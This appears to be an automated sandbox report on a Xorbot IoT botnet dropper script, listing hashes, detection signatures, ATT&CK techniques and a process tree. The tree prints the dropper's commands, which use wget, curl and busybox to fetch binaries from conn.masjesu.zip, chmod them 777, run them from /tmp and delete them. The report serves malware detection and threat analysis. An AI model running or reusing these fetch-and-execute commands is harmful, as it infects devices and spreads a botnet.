xorbot | d13a514fd4de018f7cabcf5c26291f41d43207a3da634a190ef9258601b6287c

Analysis

max time kernel
150s
max time network
48s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
11/12/2024, 12:12

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General

Target

bins.sh
Size

10KB
MD5

e383a35fbdaa3101cb6dcac434940f6c
SHA1

238b83c8544b6c90523da860f3d56db797407d1c
SHA256

d13a514fd4de018f7cabcf5c26291f41d43207a3da634a190ef9258601b6287c
SHA512

9acb346e3036fb9b3cf72ea34b961177afe6a2a3abf6dfcb611e9bc0dfa06af8030316540485f9417e5df88ba7dd604a013564e71d84ceb238cdd594f9c1b708
SSDEEP

192:5h0JMyypIRiitsPA4JNex5aGVJh47v+5XXw9Z5iitstJNupaGTJh47veXXw9ZFg3:5h5A4JNexTXJNucC

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot
behavioral3/files/fstream-5.dat	family_xorbot
behavioral3/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
745	chmod
756	chmod
784	chmod
737	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	738	xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	746	vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	757	9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	785	qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

Reads runtime system information 5 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 14 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
741	wget
790	wget
735	busybox
750	curl
744	busybox
755	busybox
761	wget
781	busybox
797	curl
712	wget
727	curl
742	curl
749	wget
770	curl

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	wget
File opened for modification	/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	wget
File opened for modification	/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	curl
File opened for modification	/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	busybox
File opened for modification	/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	curl
File opened for modification	/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	wget
File opened for modification	/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx	busybox
File opened for modification	/tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem	wget
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	curl
File opened for modification	/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83	busybox
File opened for modification	/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	curl
File opened for modification	/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N	busybox
File opened for modification	/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:705
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:710
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  ./xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
  2⤵
  PID:740
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  ./vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
  2⤵
  PID:748
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:755
- /bin/chmod
  chmod 777 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  ./9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm 9Qo5P2seQeVtK8clckeaGppjpDstiV1egM
  2⤵
  PID:760
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:770
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:781
- /bin/chmod
  chmod 777 qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  ./qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx
  2⤵
  PID:789
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:790
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:797

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/9Qo5P2seQeVtK8clckeaGppjpDstiV1egM

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/iHkwr3g6BRQh2IrhZx4EDqD9MBWRIIcKem

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/qoYTbAgPJ2WFwQ7jtLGBGr5wKbG3NHDGZx

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit